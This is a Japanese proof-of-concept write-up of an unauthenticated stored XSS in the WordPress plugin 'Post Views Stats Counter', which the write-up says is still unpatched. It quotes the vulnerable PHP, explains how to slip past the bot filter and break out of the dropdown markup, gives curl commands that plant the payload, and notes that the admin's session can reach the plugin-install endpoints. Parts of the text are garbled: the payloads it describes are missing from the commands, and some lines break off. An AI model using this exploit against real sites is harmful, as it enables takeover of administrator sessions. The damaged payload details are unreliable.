
CVE-2026-97347の概念実証。WordPressプラグイン「Post Views Stats Counter」におけるUser-Agentヘッダー経由の未認証の格納型XSSで、再現手順を含む。
| プラグイン | Post Views Stats Counter |
| 影響を受けるバージョン | ≤ 1.1.7 |
| バグ分類 | 未認証の蓄積型 XSS |
| エントリポイント | User-Agent HTTP ヘッダー |
| シンク | 管理画面の統計ページ (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 High |
| ステータス | 公開時点で未修正、現在までに修正済みバージョンは知られていない |
| 研究者 | Nawaf Althurwi |
このプラグインは、訪問者の User-Agent ヘッダーを含むすべてのページビューをカスタムテーブル (wp_pvs_counter) に記録します。以下はヘッダーを取得する箇所です — 処理経路のどこにもサニタイズはありません:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
侵入経路における唯一の防御はボットフィルタであり、それは単なる部分文字列のブラックリストにすぎません:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
デフォルトのリストは bot、spider、crawler です。これらの部分文字列を含まないものはすべて保存されます。フィルタはこれだけです。
出力側では、管理ページが「登録済みユーザーエージェント」のドロップダウンを構築し、保存された値を <option> タグ内にそのまま出力します — esc_attr() は value 属性を保護しますが、表示されるラベルは単純な echo です:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
そのため、User-Agent ヘッダーに HTML を含む未認証のリクエストが、管理者が次にプラグインの統計ページを開いたときに管理者のブラウザで実行されます。典型的な蓄積型 XSS であり、認証は不要で、被害者は自身のダッシュボードを閲覧する以外の操作を必要としません。
もう一つ知っておくべき制約があります。useragent カラムは varchar(155) であるため、ペイロードは 155 文字未満に収める必要があります。
ログに記録される URL であれば何でも動作します。フロントページの /?p=1 で問題ありません。TARGET を WordPress のホストに、YOUR_PAYLOAD を管理者のセッションで実行したい内容に置き換えてください:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
ペイロード形状に関する注意:
</option></select> は値をドロップダウンのマークアップから脱出させます — これは装飾ではなく、これがないとインジェクションは <option> タグ内に閉じ込められたままになります。bot/spider/crawler(大文字小文字を区別しない)を含めないでください。含めるとリクエストがデータベースに到達する前にボットとしてフィルタリングされます。alert() 内にスペースを入れたい場合は、代わりに   を使用してください — 一部のHTTPクライアントはヘッダー値内のスペースを壊してしまいます。私がラボで使用したワンライナー:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

単なる curl です。HTTP 200 はビューがカウントされ、ヘッダーがデータベースに保存されたことを意味します。
管理者として 設定 → Post Views Stats Counter を開きます(すでに開いている場合は更新するだけです)。ペイロードは統計ウィジェットリストの一部としてレンダリングされ、onerror が発火します:

S:C スコープ変更 — XSSは wp-admin 上で実行されるため、管理者のCookieを使ってadmin-ajaxやプラグインインストールのエンドポイントを呼び出せる)
スクラブ/一時停止したい場合は高画質版:exploit-vid.mp4
ローカルのDockerラボ環境で、WordPress 6.x上のバージョン1.1.7に対してテスト済み。未認証で、統計ページを開く以外のユーザー操作は不要。